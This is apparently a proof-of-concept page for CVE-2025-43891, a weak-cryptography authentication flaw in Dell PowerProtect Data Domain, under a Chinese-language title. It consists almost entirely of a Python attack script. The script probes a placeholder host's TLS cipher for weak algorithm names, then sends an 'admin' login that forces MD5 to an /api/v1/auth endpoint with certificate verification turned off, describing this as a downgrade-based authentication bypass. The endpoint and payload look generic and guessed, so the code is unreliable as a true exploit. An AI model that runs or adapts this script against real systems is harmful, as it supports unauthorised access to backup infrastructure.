CVE-2025-43891 Dell PowerProtect Data Domain认证加密算法漏洞

# CVE-2025-43891 PoC - Dell PowerProtect Data Domain Broken Cryptographic Algorithm # This PoC demonstrates the concept of exploiting weak cryptographic algorithms # in the authentication mechanism of Dell PowerProtect Data Domain import socket import ssl import hashlib import requests from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) TARGET_HOST = "target-powerprotect.example.com" TARGET_PORT = 443 AUTH_ENDPOINT = "/api/v1/auth" def detect_weak_crypto(target_host, target_port): """ Detect weak cryptographic algorithms in the authentication endpoint by analyzing the SSL/TLS certificate and supported cipher suites. """ print(f"[*] Connecting to {target_host}:{target_port}") try: # Check SSL/TLS configuration for weak ciphers context = ssl.create_default_context() with socket.create_connection((target_host, target_port), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=target_host) as ssock: cipher_info = ssock.cipher() print(f"[*] Negotiated cipher: {cipher_info}") # Check for weak algorithms weak_algorithms = ['MD5', 'SHA1', 'DES', '3DES', 'RC4', 'NULL', 'EXPORT'] for weak in weak_algorithms: if weak.lower() in cipher_info[0].lower(): print(f"[!] VULNERABLE: Weak algorithm detected: {weak}") return True except Exception as e: print(f"[-] SSL connection error: {e}") return False def exploit_auth_bypass(target_host): """ Attempt to exploit the broken cryptographic algorithm in the authentication mechanism. """ url = f"https://{target_host}{AUTH_ENDPOINT}" # Craft authentication request exploiting weak crypto headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Attempt downgrade attack on authentication payload = { "username": "admin", "algorithm": "MD5", # Force weak algorithm "challenge": "test" } try: response = requests.post(url, json=payload, headers=headers, verify=False, timeout=10) print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[!] Authentication bypass may be possible") print(f"[*] Response: {response.text[:500]}") return response except Exception as e: print(f"[-] Exploit error: {e}") return None def main(): print("=" * 60) print("CVE-2025-43891 PoC") print("Dell PowerProtect Data Domain Broken Crypto Vulnerability") print("=" * 60) # Step 1: Detect weak cryptographic algorithms if detect_weak_crypto(TARGET_HOST, TARGET_PORT): print("\n[*] Target appears vulnerable. Attempting exploitation...") # Step 2: Attempt authentication bypass exploit_auth_bypass(TARGET_HOST) else: print("\n[-] Target does not appear to be vulnerable") if __name__ == "__main__": main()